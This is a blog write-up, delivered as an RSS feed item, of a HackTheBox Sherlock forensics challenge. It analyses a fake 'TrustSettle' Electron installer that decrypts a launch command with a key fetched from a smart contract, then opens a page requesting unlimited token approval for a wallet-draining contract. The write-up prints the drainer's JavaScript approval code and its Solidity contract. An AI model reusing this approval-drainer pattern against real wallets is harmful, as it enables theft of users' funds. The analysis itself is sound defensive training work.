<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Sherlock on Flock137</title><link>https://flock137.github.io/tags/sherlock/</link><description>Recent content in Sherlock on Flock137</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Mon, 28 Sep 2026 00:00:00 +0700</lastBuildDate><atom:link href="https://flock137.github.io/tags/sherlock/index.xml" rel="self" type="application/rss+xml"/><item><title>HackTheBox's Sherlock 2026 Write-up</title><link>https://flock137.github.io/posts/sherlock-2026/</link><pubDate>Mon, 28 Sep 2026 00:00:00 +0700</pubDate><guid>https://flock137.github.io/posts/sherlock-2026/</guid><description>&lt;p&gt;Honestly, it recently feels sooooo boring writing a CTF challenge write-up. You know, with the rise of AI, doing all of these is kinda pointless now.&lt;/p&gt;
&lt;p&gt;Well, at least luckily, I&amp;rsquo;m a project-person.&lt;/p&gt;
&lt;h1 id="1"&gt;1&lt;/h1&gt;
&lt;p&gt;Which Win32 structure defines the format of the buffer returned by the Lua script when monitoring directory changes? (string) - &lt;code&gt;FILE_NOTIFY_INFORMATION&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Which Win32 API is used by the Lua script to send an HTTP request to the remote server? (string) - &lt;code&gt;WinHttpSendRequest&lt;/code&gt;&lt;/p&gt;</description><content:encoded><![CDATA[<p>Honestly, it recently feels sooooo boring writing a CTF challenge write-up. You know, with the rise of AI, doing all of these is kinda pointless now.</p>
<p>Well, at least luckily, I&rsquo;m a project-person.</p>
<h1 id="1">1</h1>
<p>Which Win32 structure defines the format of the buffer returned by the Lua script when monitoring directory changes? (string) - <code>FILE_NOTIFY_INFORMATION</code></p>
<p>Which Win32 API is used by the Lua script to send an HTTP request to the remote server? (string) - <code>WinHttpSendRequest</code></p>
<p>What token function does the HTML page call to request spending permission? (function()) - <code>approve()</code></p>
<p>What ethers.js v6 provider class is used to connect to the browser wallet? (string) - <code>BrowserProvider</code></p>
<p>-&gt; Theoretical knowledge</p>
<p>Extracted the exe using binwalk, you found the 7z archive, then continue to extract <code>app.asar</code> within resources using the command <code>npx asar extract app.asar app_extracted</code> (<code>npx</code> is found within package <code>npm</code>)</p>
<p>To which directory does the application copy the files bundled within the extraResources folder? <code>(*:\path\to\dir)</code> - <code>C:\\Users\\Public</code> - Found in <code>~/Downloads/SilentDividend/danger/extractions/TrustSettle 1.0.0.exe.extracted/C540/resources/app_extracted/preload.js</code></p>
<p>Which smart contract function does the Electron application invoke to retrieve the decryption key for the encrypted payload? (<code>function()</code>) - <code>resolveState()</code> - Found at the same location as the previous</p>
<h2 id="decoding-encrypted-data">Decoding encrypted data</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>└─➜ node -e <span style="color:#e6db74">&#34;console.log(require(&#39;ethers&#39;).id(&#39;resolveState()&#39;).slice(0,10))&#34;</span>                                  <span style="color:#f92672">[</span>0<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>0x77b3774c
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>└─➜ curl -X POST https://ethereum-sepolia-rpc.publicnode.com <span style="color:#ae81ff">\ </span>                                                <span style="color:#f92672">[</span>0<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>  -H <span style="color:#e6db74">&#34;Content-Type: application/json&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -d <span style="color:#e6db74">&#39;{
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    &#34;jsonrpc&#34;: &#34;2.0&#34;,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    &#34;method&#34;: &#34;eth_call&#34;,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    &#34;params&#34;: [{
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      &#34;to&#34;: &#34;0xbB63Ae28E4f75C9392bae69cDf5394Ca0ACdA6B1&#34;,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      &#34;data&#34;: &#34;0x77b3774c&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    }, &#34;latest&#34;],
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    &#34;id&#34;: 1
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  }&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span><span style="color:#e6db74">&#34;jsonrpc&#34;</span>:<span style="color:#e6db74">&#34;2.0&#34;</span>,<span style="color:#e6db74">&#34;id&#34;</span>:1,<span style="color:#e6db74">&#34;result&#34;</span>:<span style="color:#e6db74">&#34;0x3460743bb1ce2e6209e65e8ee3023f8414bc8416aef842b69c2a318bcef952f4&#34;</span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>Thats our key (the last line)</p>
<p>The encrypted data lies within preload.js (the same file as above)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>key <span style="color:#f92672">=</span> bytes<span style="color:#f92672">.</span>fromhex(<span style="color:#e6db74">&#34;3460743bb1ce2e6209e65e8ee3023f8414bc8416aef842b69c2a318bcef952f4&#34;</span>)
</span></span><span style="display:flex;"><span>data <span style="color:#f92672">=</span> bytes<span style="color:#f92672">.</span>fromhex(<span style="color:#e6db74">&#34;560c325bdd0aeea2cd2690a2ed1c1b4a28deca7ac2a40ce8d2725d539a950ca8f4a4bcf375806c36532258a0cf16c19c12989e0aa0e25a72be241da7d2f74cfa2c4c4e1bbfc6204207fe5c801d201f5af84864f0&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>result <span style="color:#f92672">=</span> bytearray()
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(len(data)):
</span></span><span style="display:flex;"><span>    key_byte <span style="color:#f92672">=</span> key[i <span style="color:#f92672">%</span> len(key)]
</span></span><span style="display:flex;"><span>    step1 <span style="color:#f92672">=</span> data[i] <span style="color:#f92672">^</span> key_byte
</span></span><span style="display:flex;"><span>    step2 <span style="color:#f92672">=</span> ((step1 <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">7</span>) <span style="color:#f92672">|</span> (step1 <span style="color:#f92672">&gt;&gt;</span> <span style="color:#ae81ff">1</span>)) <span style="color:#f92672">&amp;</span> <span style="color:#ae81ff">0xff</span>
</span></span><span style="display:flex;"><span>    result<span style="color:#f92672">.</span>append(step2 <span style="color:#f92672">^</span> <span style="color:#ae81ff">0x42</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(result<span style="color:#f92672">.</span>decode(<span style="color:#e6db74">&#39;utf-8&#39;</span>))
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Output</span>
</span></span><span style="display:flex;"><span>start <span style="color:#e6db74">&#34;&#34;</span> <span style="color:#e6db74">&#34;%TEMP%\settlement.html&#34;</span> <span style="color:#f92672">&amp;&amp;</span> echo AUTH<span style="color:#f92672">=</span>NAPOLEON SETTLEMENT_REFERENCE<span style="color:#f92672">=</span>SR-4821
</span></span></code></pre></div><p>And we also able to answer the question:</p>
<blockquote>
<p>Which environment variable corresponds to the directory where the application copies the HTML file from its package? (string)</p></blockquote>
<p>That was <code>%TEMP%</code></p>
<h2 id="next">Next</h2>
<blockquote>
<p>What is the exact token amount passed to the approval call? (number)</p></blockquote>
<p>In <code>preload.js</code>, you saw this line:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">indexContent</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">fs</span>.<span style="color:#a6e22e">readFileSync</span>(<span style="color:#a6e22e">path</span>.<span style="color:#a6e22e">join</span>(<span style="color:#a6e22e">__dirname</span>, <span style="color:#e6db74">&#39;src&#39;</span>, <span style="color:#e6db74">&#39;settlement.html&#39;</span>), <span style="color:#e6db74">&#39;utf8&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fs</span>.<span style="color:#a6e22e">writeFileSync</span>(<span style="color:#a6e22e">path</span>.<span style="color:#a6e22e">resolve</span>(<span style="color:#e6db74">`</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">process</span>.<span style="color:#a6e22e">resourcesPath</span><span style="color:#e6db74">}</span><span style="color:#e6db74">/../../settlement.html`</span>), <span style="color:#a6e22e">indexContent</span>, <span style="color:#e6db74">&#39;utf8&#39;</span>);
</span></span></code></pre></div><p>So <code>settlement.html</code> is the page that gets copied out and rendered. That&rsquo;s where the ethers.js code for the token approval will be.</p>
<p>Within said file look for <code>approve(</code>. There should be something like:</p>
<pre tabindex="0"><code>await token.approve(spender, amount)
</code></pre><p>Within <code>settlement.html</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">requestApproval</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">setStatus</span>(<span style="color:#e6db74">&#34;Requesting token approval...&#34;</span>, <span style="color:#e6db74">&#34;loading&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">token</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">ethers</span>.<span style="color:#a6e22e">Contract</span>(<span style="color:#a6e22e">MOCK_TOKEN_ADDRESS</span>, <span style="color:#a6e22e">MOCK_TOKEN_ABI</span>, <span style="color:#a6e22e">signer</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">unlimitedAmount</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">ethers</span>.<span style="color:#a6e22e">MaxUint256</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">tx</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">token</span>.<span style="color:#a6e22e">approve</span>(<span style="color:#a6e22e">X0_CONTRACT_ADDRESS</span>, <span style="color:#a6e22e">unlimitedAmount</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">tx</span>.<span style="color:#a6e22e">wait</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">setStatus</span>(
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">`Approved`</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;success&#34;</span>
</span></span><span style="display:flex;"><span>        );
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">setTimeout</span>(() =&gt; {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">alert</span>(
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;Thank you for approval!&#34;</span>
</span></span><span style="display:flex;"><span>            );
</span></span><span style="display:flex;"><span>        }, <span style="color:#ae81ff">1500</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">err</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">setStatus</span>(<span style="color:#e6db74">`Error during approval: </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">err</span>.<span style="color:#a6e22e">message</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>, <span style="color:#e6db74">&#34;error&#34;</span>);
</span></span><span style="display:flex;"><span>        document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;agreeBtn&#34;</span>).<span style="color:#a6e22e">disabled</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The Answer would be whatever is the amount of <code>ethers.MaxUint256</code> - a constant in <code>ethers.js</code> v6. So the value is:</p>
<pre tabindex="0"><code>115792089237316195423570985008687907853269984665640564039457584007913129639935
</code></pre><h2 id="final-question">Final question</h2>
<blockquote>
<p>Analyze the HTML page to uncover a smart contract reference. Investigate the contract&rsquo;s logic and determine how to interact with it to recover the hidden flag. <code>(**.****,*.****)</code></p></blockquote>
<p>The address <code>0x69Bf5b7aBA51C3Ee8bF169aB47479ba95DBF709D</code> is referenced as <code>X0_CONTRACT_ADDRESS</code> and is the <strong>spender</strong> in the <code>approve()</code> call.</p>
<p>The challenge hint format <code>(**.****,*.****)</code> might suggests a <strong>function call with arguments</strong> — likely something like <code>getFlag(bytes32)</code> or a two-argument function.</p>
<p>Go to this address:</p>
<pre tabindex="0"><code>https://sepolia.etherscan.io/address/0x69Bf5b7aBA51C3Ee8bF169aB47479ba95DBF709D
</code></pre><p>Look at the Contract tab. You would find <code>wallet.sol</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#75715e">// SPDX-License-Identifier: MIT
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">pragma</span> <span style="color:#a6e22e">solidity</span> <span style="color:#f92672">^</span><span style="color:#ae81ff">0.8</span>.<span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">contract</span> <span style="color:#a6e22e">MockToken</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mapping</span>(<span style="color:#a6e22e">address</span> =&gt; <span style="color:#a6e22e">uint256</span>) <span style="color:#66d9ef">public</span> <span style="color:#a6e22e">balanceOf</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mapping</span>(<span style="color:#a6e22e">address</span> =&gt; <span style="color:#a6e22e">mapping</span>(<span style="color:#a6e22e">address</span> =&gt; <span style="color:#a6e22e">uint256</span>)) <span style="color:#66d9ef">public</span> <span style="color:#a6e22e">allowance</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">constructor</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">balanceOf</span>[<span style="color:#a6e22e">msg</span>.<span style="color:#a6e22e">sender</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">1000</span> <span style="color:#a6e22e">ether</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">approve</span>(<span style="color:#a6e22e">address</span> <span style="color:#a6e22e">spender</span>, <span style="color:#a6e22e">uint256</span> <span style="color:#a6e22e">amount</span>) <span style="color:#a6e22e">external</span> <span style="color:#a6e22e">returns</span> (<span style="color:#a6e22e">bool</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">allowance</span>[<span style="color:#a6e22e">msg</span>.<span style="color:#a6e22e">sender</span>][<span style="color:#a6e22e">spender</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">amount</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">transferFrom</span>(<span style="color:#a6e22e">address</span> <span style="color:#a6e22e">from</span>, <span style="color:#a6e22e">address</span> <span style="color:#a6e22e">to</span>, <span style="color:#a6e22e">uint256</span> <span style="color:#a6e22e">amount</span>) <span style="color:#a6e22e">external</span> <span style="color:#a6e22e">returns</span> (<span style="color:#a6e22e">bool</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">require</span>(<span style="color:#a6e22e">allowance</span>[<span style="color:#a6e22e">from</span>][<span style="color:#a6e22e">msg</span>.<span style="color:#a6e22e">sender</span>] <span style="color:#f92672">&gt;=</span> <span style="color:#a6e22e">amount</span>, <span style="color:#e6db74">&#34;not approved&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">require</span>(<span style="color:#a6e22e">balanceOf</span>[<span style="color:#a6e22e">from</span>] <span style="color:#f92672">&gt;=</span> <span style="color:#a6e22e">amount</span>, <span style="color:#e6db74">&#34;insufficient balance&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">allowance</span>[<span style="color:#a6e22e">from</span>][<span style="color:#a6e22e">msg</span>.<span style="color:#a6e22e">sender</span>] <span style="color:#f92672">-=</span> <span style="color:#a6e22e">amount</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">balanceOf</span>[<span style="color:#a6e22e">from</span>] <span style="color:#f92672">-=</span> <span style="color:#a6e22e">amount</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">balanceOf</span>[<span style="color:#a6e22e">to</span>] <span style="color:#f92672">+=</span> <span style="color:#a6e22e">amount</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">mint</span>(<span style="color:#a6e22e">address</span> <span style="color:#a6e22e">to</span>, <span style="color:#a6e22e">uint256</span> <span style="color:#a6e22e">amount</span>) <span style="color:#a6e22e">external</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">balanceOf</span>[<span style="color:#a6e22e">to</span>] <span style="color:#f92672">+=</span> <span style="color:#a6e22e">amount</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">contract</span> <span style="color:#a6e22e">x0</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">MockToken</span> <span style="color:#66d9ef">public</span> <span style="color:#a6e22e">x1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">bytes32</span> <span style="color:#66d9ef">private</span> <span style="color:#a6e22e">x2</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7ccb3a440e383635148b237df8bb22dff0b594425beae88d6e1623df0bc7669b</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">bytes32</span> <span style="color:#66d9ef">private</span> <span style="color:#a6e22e">x3</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7ccb3a440e383635148b237d13473c069ba9ffd6545c58ee37e969b87d181c01</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">bytes</span> <span style="color:#66d9ef">private</span> <span style="color:#a6e22e">x4</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">event</span> <span style="color:#a6e22e">x5</span>(<span style="color:#a6e22e">address</span> <span style="color:#a6e22e">indexed</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">constructor</span>(<span style="color:#a6e22e">address</span> <span style="color:#a6e22e">x6</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">x1</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">MockToken</span>(<span style="color:#a6e22e">x6</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">x7</span>() <span style="color:#66d9ef">public</span> <span style="color:#a6e22e">view</span> <span style="color:#a6e22e">returns</span> (<span style="color:#a6e22e">address</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">address</span>(<span style="color:#a6e22e">uint160</span>(<span style="color:#a6e22e">uint256</span>(<span style="color:#a6e22e">x2</span>) <span style="color:#f92672">^</span> <span style="color:#a6e22e">uint256</span>(<span style="color:#a6e22e">x3</span>)));
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">x8</span>(<span style="color:#a6e22e">bytes</span> <span style="color:#a6e22e">calldata</span> <span style="color:#a6e22e">cipherFlag</span>) <span style="color:#a6e22e">external</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">require</span>(<span style="color:#a6e22e">x4</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>, <span style="color:#e6db74">&#34;already set&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">x4</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">cipherFlag</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">function</span> <span style="color:#a6e22e">x9</span>(<span style="color:#a6e22e">address</span> <span style="color:#a6e22e">x10</span>) <span style="color:#a6e22e">external</span> <span style="color:#a6e22e">view</span> <span style="color:#a6e22e">returns</span> (<span style="color:#a6e22e">string</span> <span style="color:#a6e22e">memory</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">require</span>(<span style="color:#a6e22e">x10</span> <span style="color:#f92672">==</span> <span style="color:#a6e22e">x7</span>(), <span style="color:#e6db74">&#34;not quite - keep analyzing&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">bytes</span> <span style="color:#a6e22e">memory</span> <span style="color:#a6e22e">decrypted</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">_crypt</span>(<span style="color:#a6e22e">x4</span>, <span style="color:#a6e22e">x10</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">string</span>(<span style="color:#a6e22e">decrypted</span>);
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">function</span> <span style="color:#a6e22e">_crypt</span>(<span style="color:#a6e22e">bytes</span> <span style="color:#a6e22e">memory</span> <span style="color:#a6e22e">data</span>, <span style="color:#a6e22e">address</span> <span style="color:#a6e22e">key</span>) <span style="color:#a6e22e">internal</span> <span style="color:#a6e22e">pure</span> <span style="color:#a6e22e">returns</span> (<span style="color:#a6e22e">bytes</span> <span style="color:#a6e22e">memory</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">bytes</span> <span style="color:#a6e22e">memory</span> <span style="color:#a6e22e">out</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">bytes</span>(<span style="color:#a6e22e">data</span>.<span style="color:#a6e22e">length</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">uint256</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">uint256</span> <span style="color:#a6e22e">counter</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">while</span> (<span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#a6e22e">data</span>.<span style="color:#a6e22e">length</span>) {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">bytes32</span> <span style="color:#a6e22e">block_</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">keccak256</span>(<span style="color:#a6e22e">abi</span>.<span style="color:#a6e22e">encodePacked</span>(<span style="color:#a6e22e">key</span>, <span style="color:#a6e22e">counter</span>));
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">uint256</span> <span style="color:#a6e22e">j</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">j</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">32</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#a6e22e">data</span>.<span style="color:#a6e22e">length</span>; <span style="color:#a6e22e">j</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">out</span>[<span style="color:#a6e22e">i</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">data</span>[<span style="color:#a6e22e">i</span>] <span style="color:#f92672">^</span> <span style="color:#a6e22e">block_</span>[<span style="color:#a6e22e">j</span>];
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">counter</span><span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">out</span>;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">x11</span>(<span style="color:#a6e22e">address</span> <span style="color:#a6e22e">x12</span>) <span style="color:#a6e22e">external</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">require</span>(<span style="color:#a6e22e">msg</span>.<span style="color:#a6e22e">sender</span> <span style="color:#f92672">==</span> <span style="color:#a6e22e">x7</span>(), <span style="color:#e6db74">&#34;only hidden owner&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">uint256</span> <span style="color:#a6e22e">bal</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">x1</span>.<span style="color:#a6e22e">balanceOf</span>(<span style="color:#a6e22e">x12</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">x1</span>.<span style="color:#a6e22e">transferFrom</span>(<span style="color:#a6e22e">x12</span>, <span style="color:#a6e22e">x7</span>(), <span style="color:#a6e22e">bal</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="x7">x7</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">&gt;&gt;&gt;</span> x2 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7ccb3a440e383635148b237df8bb22dff0b594425beae88d6e1623df0bc7669b</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">...</span> x3 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7ccb3a440e383635148b237d13473c069ba9ffd6545c58ee37e969b87d181c01</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">...</span> 
</span></span><span style="display:flex;"><span><span style="color:#f92672">...</span> xor <span style="color:#f92672">=</span> x2 <span style="color:#f92672">^</span> x3
</span></span><span style="display:flex;"><span><span style="color:#f92672">...</span> <span style="color:#75715e"># Take lower 160 bits (last 40 hex chars)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">...</span> hidden_owner <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;0x&#34;</span> <span style="color:#f92672">+</span> hex(xor)[<span style="color:#f92672">-</span><span style="color:#ae81ff">40</span>:]
</span></span><span style="display:flex;"><span><span style="color:#f92672">...</span> print (<span style="color:#e6db74">&#34;x7&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f92672">...</span> print (hidden_owner)
</span></span><span style="display:flex;"><span><span style="color:#f92672">...</span> 
</span></span><span style="display:flex;"><span>x7
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0xebfc1ed96b1c6b940fb6b06359ff4a6776df7a9a</span>
</span></span></code></pre></div><p>Turns out you may not even to decrypt x7. Since it&rsquo;s a known information in other tab. Which is shown in the table below.</p>
<table>
  <thead>
      <tr>
          <th>R/W</th>
          <th>variable</th>
          <th>address</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>R</td>
          <td>x1</td>
          <td>0x6B2B0C0d0a376255Ac70Bf1366f50982bF476Bb2</td>
      </tr>
      <tr>
          <td>R</td>
          <td>x7</td>
          <td>0xEBfC1eD96b1C6b940fb6B06359fF4A6776Df7a9A</td>
      </tr>
      <tr>
          <td>R</td>
          <td>x9</td>
          <td>x10</td>
      </tr>
      <tr>
          <td>W</td>
          <td>x11</td>
          <td>x12</td>
      </tr>
      <tr>
          <td>W</td>
          <td>x8</td>
          <td>cipherFlag (bytes)</td>
      </tr>
  </tbody>
</table>
<p>It is required that <code>x7 == x10</code>.</p>
<p>Response:</p>
<pre tabindex="0"><code>Result:x9(address) method Responsestring

string:

51.5049,0.0348
